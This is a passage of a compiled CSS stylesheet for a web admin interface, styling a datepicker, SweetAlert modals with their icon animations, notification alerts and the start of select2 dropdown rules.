span.active.disabled:active,\n.datepicker table tr td span.active.disabled:hover:active,\n.datepicker table tr td span.active.active,\n.datepicker table tr td span.active:hover.active,\n.datepicker table tr td span.active.disabled.active,\n.datepicker table tr td span.active.disabled:hover.active,\n.open > .dropdown-toggle.datepicker table tr td span.active,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #007d71;\n}\n\n.datepicker table tr td span.active:active:hover,\n.datepicker table tr td span.active:hover:active:hover,\n.datepicker table tr td span.active.disabled:active:hover,\n.datepicker table tr td span.active.disabled:hover:active:hover,\n.datepicker table tr td span.active.active:hover,\n.datepicker table tr td span.active:hover.active:hover,\n.datepicker table tr td span.active.disabled.active:hover,\n.datepicker table tr td span.active.disabled:hover.active:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover:hover,\n.datepicker table tr td span.active:active:focus,\n.datepicker table tr td span.active:hover:active:focus,\n.datepicker table tr td span.active.disabled:active:focus,\n.datepicker table tr td span.active.disabled:hover:active:focus,\n.datepicker table tr td span.active.active:focus,\n.datepicker table tr td span.active:hover.active:focus,\n.datepicker table tr td span.active.disabled.active:focus,\n.datepicker table tr td span.active.disabled:hover.active:focus,\n.open > .dropdown-toggle.datepicker table tr td span.active:focus,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover:focus,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:focus,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover:focus,\n.datepicker table tr td span.active:active.focus,\n.datepicker table tr td span.active:hover:active.focus,\n.datepicker table tr td span.active.disabled:active.focus,\n.datepicker table tr td span.active.disabled:hover:active.focus,\n.datepicker table tr td span.active.active.focus,\n.datepicker table tr td span.active:hover.active.focus,\n.datepicker table tr td span.active.disabled.active.focus,\n.datepicker table tr td span.active.disabled:hover.active.focus,\n.open > .dropdown-toggle.datepicker table tr td span.active.focus,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover.focus,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled.focus,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover.focus {\n  color: #ffffff;\n  background-color: #007d71;\n  border-color: #193c5a;\n}\n\n.datepicker table tr td span.active:active,\n.datepicker table tr td span.active:hover:active,\n.datepicker table tr td span.active.disabled:active,\n.datepicker table tr td span.active.disabled:hover:active,\n.datepicker table tr td span.active.active,\n.datepicker table tr td span.active:hover.active,\n.datepicker table tr td span.active.disabled.active,\n.datepicker table tr td span.active.disabled:hover.active,\n.open > .dropdown-toggle.datepicker table tr td span.active,\n.open > .dropdown-toggle.datepicker table tr td span.active:hover,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled,\n.open > .dropdown-toggle.datepicker table tr td span.active.disabled:hover {\n  background-image: none;\n}\n\n.datepicker table tr td span.active.disabled:hover,\n.datepicker table tr td span.active:hover.disabled:hover,\n.datepicker table tr td span.active.disabled.disabled:hover,\n.datepicker table tr td span.active.disabled:hover.disabled:hover,\n.datepicker table tr td span.active[disabled]:hover,\n.datepicker table tr td span.active:hover[disabled]:hover,\n.datepicker table tr td span.active.disabled[disabled]:hover,\n.datepicker table tr td span.active.disabled:hover[disabled]:hover,\nfieldset[disabled] .datepicker table tr td span.active:hover,\nfieldset[disabled] .datepicker table tr td span.active:hover:hover,\nfieldset[disabled] .datepicker table tr td span.active.disabled:hover,\nfieldset[disabled] .datepicker table tr td span.active.disabled:hover:hover,\n.datepicker table tr td span.active.disabled:focus,\n.datepicker table tr td span.active:hover.disabled:focus,\n.datepicker table tr td span.active.disabled.disabled:focus,\n.datepicker table tr td span.active.disabled:hover.disabled:focus,\n.datepicker table tr td span.active[disabled]:focus,\n.datepicker table tr td span.active:hover[disabled]:focus,\n.datepicker table tr td span.active.disabled[disabled]:focus,\n.datepicker table tr td span.active.disabled:hover[disabled]:focus,\nfieldset[disabled] .datepicker table tr td span.active:focus,\nfieldset[disabled] .datepicker table tr td span.active:hover:focus,\nfieldset[disabled] .datepicker table tr td span.active.disabled:focus,\nfieldset[disabled] .datepicker table tr td span.active.disabled:hover:focus,\n.datepicker table tr td span.active.disabled.focus,\n.datepicker table tr td span.active:hover.disabled.focus,\n.datepicker table tr td span.active.disabled.disabled.focus,\n.datepicker table tr td span.active.disabled:hover.disabled.focus,\n.datepicker table tr td span.active[disabled].focus,\n.datepicker table tr td span.active:hover[disabled].focus,\n.datepicker table tr td span.active.disabled[disabled].focus,\n.datepicker table tr td span.active.disabled:hover[disabled].focus,\nfieldset[disabled] .datepicker table tr td span.active.focus,\nfieldset[disabled] .datepicker table tr td span.active:hover.focus,\nfieldset[disabled] .datepicker table tr td span.active.disabled.focus,\nfieldset[disabled] .datepicker table tr td span.active.disabled:hover.focus {\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n\n.datepicker table tr td span.old,\n.datepicker table tr td span.new {\n  color: #999999;\n}\n\n.datepicker .datepicker-switch {\n  width: 145px;\n}\n\n.datepicker .datepicker-switch,\n.datepicker .prev,\n.datepicker .next,\n.datepicker tfoot tr th {\n  cursor: pointer;\n}\n\n.datepicker .datepicker-switch:hover,\n.datepicker .prev:hover,\n.datepicker .next:hover,\n.datepicker tfoot tr th:hover {\n  background: #eeeeee;\n}\n\n.datepicker .cw {\n  font-size: 10px;\n  width: 12px;\n  padding: 0 2px 0 5px;\n  vertical-align: middle;\n}\n\n.input-group.date .input-group-addon {\n  cursor: pointer;\n}\n\n.input-daterange {\n  width: 100%;\n}\n\n.input-daterange input {\n  text-align: center;\n}\n\n.input-daterange input:first-child {\n  border-radius: 3px 0 0 3px;\n}\n\n.input-daterange input:last-child {\n  border-radius: 0 3px 3px 0;\n}\n\n.input-daterange .input-group-addon {\n  width: auto;\n  min-width: 16px;\n  padding: 4px 5px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  text-shadow: 0 1px 0 #fff;\n  vertical-align: middle;\n  background-color: #eeeeee;\n  border: solid #cccccc;\n  border-width: 1px 0;\n  margin-left: -5px;\n  margin-right: -5px;\n}\n\n.datepicker.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  right: auto;\n  z-index: 1000;\n  float: left;\n  display: none;\n  min-width: 160px;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.1);\n  border-radius: 5px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  background-clip: padding-box;\n  *border-right-width: 2px;\n  *border-bottom-width: 2px;\n  color: #333333;\n  font-size: 13px;\n  line-height: 1.42857143;\n}\n\n.datepicker.dropdown-menu th,\n.datepicker.datepicker-inline th,\n.datepicker.dropdown-menu td,\n.datepicker.datepicker-inline td {\n  padding: 0px 5px;\n}\n\nbody.stop-scrolling {\n  height: 100%;\n  overflow: hidden;\n}\n\n.sweet-overlay {\n  background-color: rgba(255, 255, 255, 0.9);\n  position: fixed;\n  left: 0;\n  right: 0;\n  top: 0;\n  bottom: 0;\n  display: none;\n  outline: none !important;\n  z-index: 10000;\n}\n\n.sweet-alert {\n  background-color: white;\n  width: 478px;\n  padding: 20px;\n  border-radius: 3px;\n  text-align: center;\n  position: fixed;\n  left: 50%;\n  top: 50%;\n  margin-left: -259px;\n  margin-top: -200px;\n  -webkit-box-shadow: 0 4px 23px 5px rgba(0, 0, 0, 0.2), 0 2px 6px rgba(0, 0, 0, 0.15);\n          box-shadow: 0 4px 23px 5px rgba(0, 0, 0, 0.2), 0 2px 6px rgba(0, 0, 0, 0.15);\n  overflow: hidden;\n  display: none;\n  z-index: 99999;\n}\n\n@media all and (max-width: 540px) {\n  .sweet-alert {\n    width: auto;\n    margin-left: 0;\n    margin-right: 0;\n    left: 15px;\n    right: 15px;\n  }\n}\n\n.sweet-alert h2 {\n  color: #575757;\n  font-size: 30px;\n  text-align: center;\n  font-weight: 500;\n  text-transform: none;\n  position: relative;\n  margin: 15px 0 0 0;\n  padding: 0;\n  line-height: 40px;\n  display: block;\n}\n\n.sweet-alert p {\n  color: #797979;\n  font-size: 16px;\n  text-align: center;\n  font-weight: 400;\n  position: relative;\n  text-align: inherit;\n  float: none;\n  margin: 0;\n  padding: 0;\n  line-height: normal;\n}\n\n.sweet-alert fieldset {\n  border: none;\n  position: relative;\n}\n\n.sweet-alert .sa-error-container {\n  background-color: #f1f1f1;\n  margin-left: -17px;\n  margin-right: -17px;\n  overflow: hidden;\n  padding: 0 10px;\n  max-height: 0;\n  webkit-transition: padding 0.15s, max-height 0.15s;\n  -webkit-transition: padding 0.15s, max-height 0.15s;\n  -o-transition: padding 0.15s, max-height 0.15s;\n  transition: padding 0.15s, max-height 0.15s;\n}\n\n.sweet-alert .sa-error-container.show {\n  padding: 10px 0;\n  max-height: 100px;\n  webkit-transition: padding 0.2s, max-height 0.2s;\n  -webkit-transition: padding 0.25s, max-height 0.25s;\n  -o-transition: padding 0.25s, max-height 0.25s;\n  transition: padding 0.25s, max-height 0.25s;\n}\n\n.sweet-alert .sa-error-container .icon {\n  display: inline-block;\n  width: 24px;\n  height: 24px;\n  border-radius: 50%;\n  background-color: #ea7d7d;\n  color: white;\n  line-height: 24px;\n  text-align: center;\n  margin-right: 3px;\n}\n\n.sweet-alert .sa-error-container p {\n  display: inline-block;\n}\n\n.sweet-alert .sa-input-error {\n  position: absolute;\n  top: 22px;\n  right: 10px;\n  width: 20px;\n  height: 20px;\n  opacity: 0;\n  -webkit-transform: scale(0.5);\n  -ms-transform: scale(0.5);\n      transform: scale(0.5);\n  -webkit-transform-origin: 50% 50%;\n  -ms-transform-origin: 50% 50%;\n      transform-origin: 50% 50%;\n  -webkit-transition: all 0.1s;\n  -o-transition: all 0.1s;\n  transition: all 0.1s;\n}\n\n.sweet-alert .sa-input-error::before, .sweet-alert .sa-input-error::after {\n  content: \"\";\n  width: 20px;\n  height: 6px;\n  background-color: #f06e57;\n  border-radius: 3px;\n  position: absolute;\n  top: 50%;\n  margin-top: -4px;\n  left: 50%;\n  margin-left: -9px;\n}\n\n.sweet-alert .sa-input-error::before {\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n}\n\n.sweet-alert .sa-input-error::after {\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n      transform: rotate(45deg);\n}\n\n.sweet-alert .sa-input-error.show {\n  opacity: 1;\n  -webkit-transform: scale(1);\n  -ms-transform: scale(1);\n      transform: scale(1);\n}\n\n.sweet-alert input {\n  display: none;\n  width: 100%;\n  height: 40px;\n  padding: 8px 12px 4px;\n  font-size: 14px;\n  font-weight: 500;\n  line-height: 1.44;\n  color: #555;\n  margin-top: 10px;\n  margin-bottom: 17px;\n  background-color: #fff;\n  background-image: none;\n  border: 2px solid #ccc;\n  border-radius: 3px;\n  -webkit-transition: border-color ease-in-out 0.15s;\n  -o-transition: border-color ease-in-out 0.15s;\n  transition: border-color ease-in-out 0.15s;\n}\n\n.sweet-alert input:focus {\n  border-color: #009688;\n  outline: none;\n}\n\n.sweet-alert.show-input input {\n  display: block;\n}\n\n.sweet-alert .sa-confirm-button-container {\n  display: inline-block;\n  position: relative;\n}\n\n.sweet-alert .la-ball-fall {\n  position: absolute;\n  left: 50%;\n  top: 50%;\n  margin-left: -27px;\n  margin-top: 4px;\n  opacity: 0;\n  visibility: hidden;\n}\n\n.sweet-alert button {\n  background-color: #009688 !important;\n  color: white;\n  border: none;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  font-size: 17px;\n  font-weight: 500;\n  border-radius: 3px;\n  padding: 8px 20px;\n  margin: 26px 5px 0 5px;\n  cursor: pointer;\n}\n\n.sweet-alert button:focus {\n  outline: none;\n  -webkit-box-shadow: 0 0 2px rgba(128, 179, 235, 0.5), inset 0 0 0 1px rgba(0, 0, 0, 0.05);\n          box-shadow: 0 0 2px rgba(128, 179, 235, 0.5), inset 0 0 0 1px rgba(0, 0, 0, 0.05);\n}\n\n.sweet-alert button:hover {\n  background-color: #00877a;\n}\n\n.sweet-alert button:active {\n  background-color: #00635a;\n}\n\n.sweet-alert button.cancel {\n  background-color: #C1C1C1 !important;\n}\n\n.sweet-alert button.cancel:hover {\n  background-color: #b9b9b9;\n}\n\n.sweet-alert button.cancel:active {\n  background-color: #a8a7a7;\n}\n\n.sweet-alert button.cancel:focus {\n  -webkit-box-shadow: rgba(197, 205, 211, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.0470588) 0px 0px 0px 1px inset !important;\n          box-shadow: rgba(197, 205, 211, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.0470588) 0px 0px 0px 1px inset !important;\n}\n\n.sweet-alert button[disabled] {\n  opacity: .6;\n  cursor: default;\n}\n\n.sweet-alert button.confirm[disabled] {\n  color: transparent;\n}\n\n.sweet-alert button.confirm[disabled] ~ .la-ball-fall {\n  opacity: 1;\n  visibility: visible;\n  -webkit-transition-delay: 0s;\n       -o-transition-delay: 0s;\n          transition-delay: 0s;\n}\n\n.sweet-alert button::-moz-focus-inner {\n  border: 0;\n}\n\n.sweet-alert[data-has-cancel-button=false] button {\n  -webkit-box-shadow: none !important;\n          box-shadow: none !important;\n}\n\n.sweet-alert[data-has-confirm-button=false][data-has-cancel-button=false] {\n  padding-bottom: 40px;\n}\n\n.sweet-alert .sa-icon {\n  width: 80px;\n  height: 80px;\n  border: 4px solid gray;\n  border-radius: 40px;\n  border-radius: 50%;\n  margin: 20px auto;\n  padding: 0;\n  position: relative;\n  -webkit-box-sizing: content-box;\n          box-sizing: content-box;\n}\n\n.sweet-alert .sa-icon.sa-error {\n  border-color: #F27474;\n}\n\n.sweet-alert .sa-icon.sa-error .sa-x-mark {\n  position: relative;\n  display: block;\n}\n\n.sweet-alert .sa-icon.sa-error .sa-line {\n  position: absolute;\n  height: 5px;\n  width: 47px;\n  background-color: #F27474;\n  display: block;\n  top: 37px;\n  border-radius: 2px;\n}\n\n.sweet-alert .sa-icon.sa-error .sa-line.sa-left {\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n      transform: rotate(45deg);\n  left: 17px;\n}\n\n.sweet-alert .sa-icon.sa-error .sa-line.sa-right {\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n  right: 16px;\n}\n\n.sweet-alert .sa-icon.sa-warning {\n  border-color: #F8BB86;\n}\n\n.sweet-alert .sa-icon.sa-warning .sa-body {\n  position: absolute;\n  width: 5px;\n  height: 47px;\n  left: 50%;\n  top: 10px;\n  border-radius: 2px;\n  margin-left: -2px;\n  background-color: #F8BB86;\n}\n\n.sweet-alert .sa-icon.sa-warning .sa-dot {\n  position: absolute;\n  width: 7px;\n  height: 7px;\n  border-radius: 50%;\n  margin-left: -3px;\n  left: 50%;\n  bottom: 10px;\n  background-color: #F8BB86;\n}\n\n.sweet-alert .sa-icon.sa-info {\n  border-color: #C9DAE1;\n}\n\n.sweet-alert .sa-icon.sa-info::before {\n  content: \"\";\n  position: absolute;\n  width: 5px;\n  height: 29px;\n  left: 50%;\n  bottom: 17px;\n  border-radius: 2px;\n  margin-left: -2px;\n  background-color: #C9DAE1;\n}\n\n.sweet-alert .sa-icon.sa-info::after {\n  content: \"\";\n  position: absolute;\n  width: 7px;\n  height: 7px;\n  border-radius: 50%;\n  margin-left: -3px;\n  top: 19px;\n  background-color: #C9DAE1;\n}\n\n.sweet-alert .sa-icon.sa-success {\n  border-color: #A5DC86;\n}\n\n.sweet-alert .sa-icon.sa-success::before, .sweet-alert .sa-icon.sa-success::after {\n  content: '';\n  border-radius: 40px;\n  border-radius: 50%;\n  position: absolute;\n  width: 60px;\n  height: 120px;\n  background: white;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n      transform: rotate(45deg);\n}\n\n.sweet-alert .sa-icon.sa-success::before {\n  border-radius: 120px 0 0 120px;\n  top: -7px;\n  left: -33px;\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n  -webkit-transform-origin: 60px 60px;\n  -ms-transform-origin: 60px 60px;\n      transform-origin: 60px 60px;\n}\n\n.sweet-alert .sa-icon.sa-success::after {\n  border-radius: 0 120px 120px 0;\n  top: -11px;\n  left: 30px;\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n  -webkit-transform-origin: 0px 60px;\n  -ms-transform-origin: 0px 60px;\n      transform-origin: 0px 60px;\n}\n\n.sweet-alert .sa-icon.sa-success .sa-placeholder {\n  width: 80px;\n  height: 80px;\n  border: 4px solid rgba(165, 220, 134, 0.2);\n  border-radius: 40px;\n  border-radius: 50%;\n  -webkit-box-sizing: content-box;\n          box-sizing: content-box;\n  position: absolute;\n  left: -4px;\n  top: -4px;\n  z-index: 2;\n}\n\n.sweet-alert .sa-icon.sa-success .sa-fix {\n  width: 5px;\n  height: 90px;\n  background-color: white;\n  position: absolute;\n  left: 28px;\n  top: 8px;\n  z-index: 1;\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n}\n\n.sweet-alert .sa-icon.sa-success .sa-line {\n  height: 5px;\n  background-color: #A5DC86;\n  display: block;\n  border-radius: 2px;\n  position: absolute;\n  z-index: 2;\n}\n\n.sweet-alert .sa-icon.sa-success .sa-line.sa-tip {\n  width: 25px;\n  left: 14px;\n  top: 46px;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n      transform: rotate(45deg);\n}\n\n.sweet-alert .sa-icon.sa-success .sa-line.sa-long {\n  width: 47px;\n  right: 8px;\n  top: 38px;\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n      transform: rotate(-45deg);\n}\n\n.sweet-alert .sa-icon.sa-custom {\n  background-size: contain;\n  border-radius: 0;\n  border: none;\n  background-position: center center;\n  background-repeat: no-repeat;\n}\n\n/*\n * Animations\n */\n@-webkit-keyframes showSweetAlert {\n  0% {\n    transform: scale(0.7);\n    -webkit-transform: scale(0.7);\n  }\n  45% {\n    transform: scale(1.05);\n    -webkit-transform: scale(1.05);\n  }\n  80% {\n    transform: scale(0.95);\n    -webkit-transform: scale(0.95);\n  }\n  100% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n  }\n}\n\n@keyframes showSweetAlert {\n  0% {\n    transform: scale(0.7);\n    -webkit-transform: scale(0.7);\n  }\n  45% {\n    transform: scale(1.05);\n    -webkit-transform: scale(1.05);\n  }\n  80% {\n    transform: scale(0.95);\n    -webkit-transform: scale(0.95);\n  }\n  100% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n  }\n}\n\n@-webkit-keyframes hideSweetAlert {\n  0% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n  }\n  100% {\n    transform: scale(0.5);\n    -webkit-transform: scale(0.5);\n  }\n}\n\n@keyframes hideSweetAlert {\n  0% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n  }\n  100% {\n    transform: scale(0.5);\n    -webkit-transform: scale(0.5);\n  }\n}\n\n@-webkit-keyframes slideFromTop {\n  0% {\n    top: 0%;\n  }\n  100% {\n    top: 50%;\n  }\n}\n\n@keyframes slideFromTop {\n  0% {\n    top: 0%;\n  }\n  100% {\n    top: 50%;\n  }\n}\n\n@-webkit-keyframes slideToTop {\n  0% {\n    top: 50%;\n  }\n  100% {\n    top: 0%;\n  }\n}\n\n@keyframes slideToTop {\n  0% {\n    top: 50%;\n  }\n  100% {\n    top: 0%;\n  }\n}\n\n@-webkit-keyframes slideFromBottom {\n  0% {\n    top: 70%;\n  }\n  100% {\n    top: 50%;\n  }\n}\n\n@keyframes slideFromBottom {\n  0% {\n    top: 70%;\n  }\n  100% {\n    top: 50%;\n  }\n}\n\n@-webkit-keyframes slideToBottom {\n  0% {\n    top: 50%;\n  }\n  100% {\n    top: 70%;\n  }\n}\n\n@keyframes slideToBottom {\n  0% {\n    top: 50%;\n  }\n  100% {\n    top: 70%;\n  }\n}\n\n.showSweetAlert[data-animation=pop] {\n  -webkit-animation: showSweetAlert 0.3s;\n  animation: showSweetAlert 0.3s;\n}\n\n.showSweetAlert[data-animation=none] {\n  -webkit-animation: none;\n  animation: none;\n}\n\n.showSweetAlert[data-animation=slide-from-top] {\n  -webkit-animation: slideFromTop 0.3s;\n  animation: slideFromTop 0.3s;\n}\n\n.showSweetAlert[data-animation=slide-from-bottom] {\n  -webkit-animation: slideFromBottom 0.3s;\n  animation: slideFromBottom 0.3s;\n}\n\n.hideSweetAlert[data-animation=pop] {\n  -webkit-animation: hideSweetAlert 0.2s;\n  animation: hideSweetAlert 0.2s;\n}\n\n.hideSweetAlert[data-animation=none] {\n  -webkit-animation: none;\n  animation: none;\n}\n\n.hideSweetAlert[data-animation=slide-from-top] {\n  -webkit-animation: slideToTop 0.4s;\n  animation: slideToTop 0.4s;\n}\n\n.hideSweetAlert[data-animation=slide-from-bottom] {\n  -webkit-animation: slideToBottom 0.3s;\n  animation: slideToBottom 0.3s;\n}\n\n@-webkit-keyframes animateSuccessTip {\n  0% {\n    width: 0;\n    left: 1px;\n    top: 19px;\n  }\n  54% {\n    width: 0;\n    left: 1px;\n    top: 19px;\n  }\n  70% {\n    width: 50px;\n    left: -8px;\n    top: 37px;\n  }\n  84% {\n    width: 17px;\n    left: 21px;\n    top: 48px;\n  }\n  100% {\n    width: 25px;\n    left: 14px;\n    top: 45px;\n  }\n}\n\n@keyframes animateSuccessTip {\n  0% {\n    width: 0;\n    left: 1px;\n    top: 19px;\n  }\n  54% {\n    width: 0;\n    left: 1px;\n    top: 19px;\n  }\n  70% {\n    width: 50px;\n    left: -8px;\n    top: 37px;\n  }\n  84% {\n    width: 17px;\n    left: 21px;\n    top: 48px;\n  }\n  100% {\n    width: 25px;\n    left: 14px;\n    top: 45px;\n  }\n}\n\n@-webkit-keyframes animateSuccessLong {\n  0% {\n    width: 0;\n    right: 46px;\n    top: 54px;\n  }\n  65% {\n    width: 0;\n    right: 46px;\n    top: 54px;\n  }\n  84% {\n    width: 55px;\n    right: 0px;\n    top: 35px;\n  }\n  100% {\n    width: 47px;\n    right: 8px;\n    top: 38px;\n  }\n}\n\n@keyframes animateSuccessLong {\n  0% {\n    width: 0;\n    right: 46px;\n    top: 54px;\n  }\n  65% {\n    width: 0;\n    right: 46px;\n    top: 54px;\n  }\n  84% {\n    width: 55px;\n    right: 0px;\n    top: 35px;\n  }\n  100% {\n    width: 47px;\n    right: 8px;\n    top: 38px;\n  }\n}\n\n@-webkit-keyframes rotatePlaceholder {\n  0% {\n    transform: rotate(-45deg);\n    -webkit-transform: rotate(-45deg);\n  }\n  5% {\n    transform: rotate(-45deg);\n    -webkit-transform: rotate(-45deg);\n  }\n  12% {\n    transform: rotate(-405deg);\n    -webkit-transform: rotate(-405deg);\n  }\n  100% {\n    transform: rotate(-405deg);\n    -webkit-transform: rotate(-405deg);\n  }\n}\n\n@keyframes rotatePlaceholder {\n  0% {\n    transform: rotate(-45deg);\n    -webkit-transform: rotate(-45deg);\n  }\n  5% {\n    transform: rotate(-45deg);\n    -webkit-transform: rotate(-45deg);\n  }\n  12% {\n    transform: rotate(-405deg);\n    -webkit-transform: rotate(-405deg);\n  }\n  100% {\n    transform: rotate(-405deg);\n    -webkit-transform: rotate(-405deg);\n  }\n}\n\n.animateSuccessTip {\n  -webkit-animation: animateSuccessTip 0.75s;\n  animation: animateSuccessTip 0.75s;\n}\n\n.animateSuccessLong {\n  -webkit-animation: animateSuccessLong 0.75s;\n  animation: animateSuccessLong 0.75s;\n}\n\n.sa-icon.sa-success.animate::after {\n  -webkit-animation: rotatePlaceholder 4.25s ease-in;\n  animation: rotatePlaceholder 4.25s ease-in;\n}\n\n@-webkit-keyframes animateErrorIcon {\n  0% {\n    transform: rotateX(100deg);\n    -webkit-transform: rotateX(100deg);\n    opacity: 0;\n  }\n  100% {\n    transform: rotateX(0deg);\n    -webkit-transform: rotateX(0deg);\n    opacity: 1;\n  }\n}\n\n@keyframes animateErrorIcon {\n  0% {\n    transform: rotateX(100deg);\n    -webkit-transform: rotateX(100deg);\n    opacity: 0;\n  }\n  100% {\n    transform: rotateX(0deg);\n    -webkit-transform: rotateX(0deg);\n    opacity: 1;\n  }\n}\n\n.animateErrorIcon {\n  -webkit-animation: animateErrorIcon 0.5s;\n  animation: animateErrorIcon 0.5s;\n}\n\n@-webkit-keyframes animateXMark {\n  0% {\n    transform: scale(0.4);\n    -webkit-transform: scale(0.4);\n    margin-top: 26px;\n    opacity: 0;\n  }\n  50% {\n    transform: scale(0.4);\n    -webkit-transform: scale(0.4);\n    margin-top: 26px;\n    opacity: 0;\n  }\n  80% {\n    transform: scale(1.15);\n    -webkit-transform: scale(1.15);\n    margin-top: -6px;\n  }\n  100% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n    margin-top: 0;\n    opacity: 1;\n  }\n}\n\n@keyframes animateXMark {\n  0% {\n    transform: scale(0.4);\n    -webkit-transform: scale(0.4);\n    margin-top: 26px;\n    opacity: 0;\n  }\n  50% {\n    transform: scale(0.4);\n    -webkit-transform: scale(0.4);\n    margin-top: 26px;\n    opacity: 0;\n  }\n  80% {\n    transform: scale(1.15);\n    -webkit-transform: scale(1.15);\n    margin-top: -6px;\n  }\n  100% {\n    transform: scale(1);\n    -webkit-transform: scale(1);\n    margin-top: 0;\n    opacity: 1;\n  }\n}\n\n.animateXMark {\n  -webkit-animation: animateXMark 0.5s;\n  animation: animateXMark 0.5s;\n}\n\n@-webkit-keyframes pulseWarning {\n  0% {\n    border-color: #F8D486;\n  }\n  100% {\n    border-color: #F8BB86;\n  }\n}\n\n@keyframes pulseWarning {\n  0% {\n    border-color: #F8D486;\n  }\n  100% {\n    border-color: #F8BB86;\n  }\n}\n\n.pulseWarning {\n  -webkit-animation: pulseWarning 0.75s infinite alternate;\n  animation: pulseWarning 0.75s infinite alternate;\n}\n\n@-webkit-keyframes pulseWarningIns {\n  0% {\n    background-color: #F8D486;\n  }\n  100% {\n    background-color: #F8BB86;\n  }\n}\n\n@keyframes pulseWarningIns {\n  0% {\n    background-color: #F8D486;\n  }\n  100% {\n    background-color: #F8BB86;\n  }\n}\n\n.pulseWarningIns {\n  -webkit-animation: pulseWarningIns 0.75s infinite alternate;\n  animation: pulseWarningIns 0.75s infinite alternate;\n}\n\n@-webkit-keyframes rotate-loading {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n@keyframes rotate-loading {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n.notify-alert {\n  -webkit-box-shadow: 0 3px 10px rgba(0, 0, 0, 0.23), 0 3px 10px rgba(0, 0, 0, 0.16);\n          box-shadow: 0 3px 10px rgba(0, 0, 0, 0.23), 0 3px 10px rgba(0, 0, 0, 0.16);\n  border: 0 !important;\n  max-width: 400px;\n  color: #FFF;\n}\n\n.notify-alert.alert-success {\n  background-color: #28a745;\n}\n\n.notify-alert.alert-info {\n  background-color: #17a2b8;\n}\n\n.notify-alert.alert-warning {\n  background-color: #ffce3a;\n}\n\n.notify-alert.alert-danger {\n  background-color: #e04b59;\n}\n\n.notify-alert button[data-notify=\"dismiss\"] {\n  margin-left: 5px;\n  outline: none !important;\n}\n\n.select2-container {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  display: inline-block;\n  margin: 0;\n  position: relative;\n  vertical-align: middle;\n}\n\n.select2-container .select2-selection--single {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  cursor: pointer;\n  display: block;\n  height: 40px;\n  -moz-user-select: none;\n   -ms-user-select: none;\n       user-select: none;\n  -webkit-user-select: none;\n  -webkit-transition: all 0.15s ease-in-out;\n  -o-transition: all 0.15s ease-in-out;\n  transition: all 0.15s ease-in-out;\n}\n\n.select2-container .select2-selection--single .select2-selection__rendered {\n  display: block;\n  padding-left: 8px;\n  padding-right: 20px;\n  overflow: hidden;\n  -o-text-overflow: ellipsis;\n     text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.select2-container .select2-selection--single .select2-selection__clear {\n  position: relative;\n}\n\n.select2-container[dir=\"rtl\"] .select2-selection--single .select2-selection__rendered {\n  padding-right: 8px;\n  padding-left: 20px;\n}\n\n.select2-container .select2-selection--multiple {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  cursor: pointer;\n  display: block;\n  min-height: 32px;\n  -moz-user-select: none;\n   -ms-user-select: none;\n       user-select: none;\n  -webkit-user-select: none;\n}\n\n.select2-container .select2-selection--multiple .select2-selection__rendered {\n  display: inline-block;\n  overflow: hidden;\n  padding-left: 8px;\n  -o-text-overflow: ellipsis;\n     text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.select2-container .select2-search--inline {\n  float: left;\n}\n\n.select2-container .select2-search--inline .select2-search__field {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  border: none;\n  font-size: 100%;\n  margin-top: 7px;\n  padding: 0;\n}\n\n.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {\n  